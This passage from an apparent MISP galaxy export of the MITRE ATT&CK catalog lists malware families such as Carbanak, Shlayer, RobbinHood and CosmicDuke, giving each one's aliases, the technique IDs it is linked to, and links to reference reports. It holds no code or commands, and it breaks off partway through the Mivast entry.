- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5191. Table References

Links
https://attack.mitre.org/software/S0094
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.dragos.com/threat/dymalloy/
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

OSX_OCEANLOTUS.D - S0352

[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)

The tag is: *misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352"*

OSX_OCEANLOTUS.D - S0352 is also known as:

- OSX_OCEANLOTUS.D
- Backdoor.MacOS.OCEANLOTUS.F

View relationships graph

OSX_OCEANLOTUS.D - S0352 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5192. Table References

Links
https://attack.mitre.org/software/S0352
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/
https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html

OSX/Shlayer - S0402

[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)

The tag is: *misp-galaxy:mitre-malware="OSX/Shlayer - S0402"*

OSX/Shlayer - S0402 is also known as:

- OSX/Shlayer

- Zshlayer
- Crossrider

View relationships graph

OSX/Shlayer - S0402 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5193. Table References

Links
https://attack.mitre.org/software/S0402
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/

https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/
https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/

T9000 - S0098

[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)

The tag is: *misp-galaxy:mitre-malware="T9000 - S0098"*

T9000 - S0098 is also known as:

- T9000

View relationships graph

T9000 - S0098 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5194. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/
https://attack.mitre.org/software/S0098
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html

BS2005 - S0014

[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Mandiant Operation Ke3chang November 2014)

The tag is: *misp-galaxy:mitre-malware="BS2005 - S0014"*

BS2005 - S0014 is also known as:

- BS2005

View relationships graph

BS2005 - S0014 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 5195. Table References

Links
https://attack.mitre.org/software/S0014
https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs

Sys10 - S0060

[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: *misp-galaxy:mitre-malware="Sys10 - S0060"*

Sys10 - S0060 is also known as:

- Sys10

View relationships graph

Sys10 - S0060 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5196. Table References

Links
https://attack.mitre.org/software/S0060
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Lurid - S0010

[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)

The tag is: *misp-galaxy:mitre-malware="Lurid - S0010"*

Lurid - S0010 is also known as:

- Lurid

- Enfal

View relationships graph

Lurid - S0010 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

Table 5197. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf
https://attack.mitre.org/software/S0010
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

Dipsind - S0200

[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="Dipsind - S0200"*

Dipsind - S0200 is also known as:

- Dipsind

View relationships graph

Dipsind - S0200 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5198. Table References

Links
https://attack.mitre.org/software/S0200
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

DressCode - S0300

[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)

The tag is: *misp-galaxy:mitre-malware="DressCode - S0300"*

DressCode - S0300 is also known as:

* DressCode

View relationships graph

DressCode - S0300 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"

Table 5199. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/
https://attack.mitre.org/software/S0300

Carbanak - S0030

[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)

The tag is: *misp-galaxy:mitre-malware="Carbanak - S0030"*

Carbanak - S0030 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - S0030 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5200. Table References

Links
https://attack.mitre.org/software/S0030
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/

RIPTIDE - S0003

[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)

The tag is: *misp-galaxy:mitre-malware="RIPTIDE - S0003"*

RIPTIDE - S0003 is also known as:

- RIPTIDE

View relationships graph

RIPTIDE - S0003 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5201. Table References

Links

https://attack.mitre.org/software/S0003
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

TinyZBot - S0004

[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)

The tag is: *misp-galaxy:mitre-malware="TinyZBot - S0004"*

TinyZBot - S0004 is also known as:

- TinyZBot

View relationships graph

TinyZBot - S0004 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"

Table 5202. Table References

Links
https://attack.mitre.org/software/S0004
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

RobbinHood - S0400

[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government's computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)

The tag is: *misp-galaxy:mitre-malware="RobbinHood - S0400"*

RobbinHood - S0400 is also known as:

- RobbinHood

View relationships graph

RobbinHood - S0400 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5203. Table References

Links
https://attack.mitre.org/software/S0400
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html
https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/

CosmicDuke - S0050

[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware="CosmicDuke - S0050"*

CosmicDuke - S0050 is also known as:

- CosmicDuke

- TinyBaron
- BotgenStudios
- NemesisGemina

View relationships graph

CosmicDuke - S0050 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5204. Table References

Links
https://attack.mitre.org/software/S0050
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Doki - S0600

[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)

The tag is: *misp-galaxy:mitre-malware="Doki - S0600"*

Doki - S0600 is also known as:

- Doki

View relationships graph

Doki - S0600 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5205. Table References

Links
https://attack.mitre.org/software/S0600
https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/

HTTPBrowser - S0070

[HTTPBrowser](https://attack.mitre.org/software/S0070) is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)

The tag is: *misp-galaxy:mitre-malware="HTTPBrowser - S0070"*

HTTPBrowser - S0070 is also known as:

- HTTPBrowser
- Token Control
- HttpDump

View relationships graph

HTTPBrowser - S0070 has relationships with:

- similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5206. Table References

Links
https://attack.mitre.org/software/S0070
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Mivast - S0080

[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)

The tag is: *misp-galaxy:mitre-malware="Mivast - S0080"*

Mivast - S0080 is also known as:

- Mivast

View relationships graph

Mivast - S0080 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
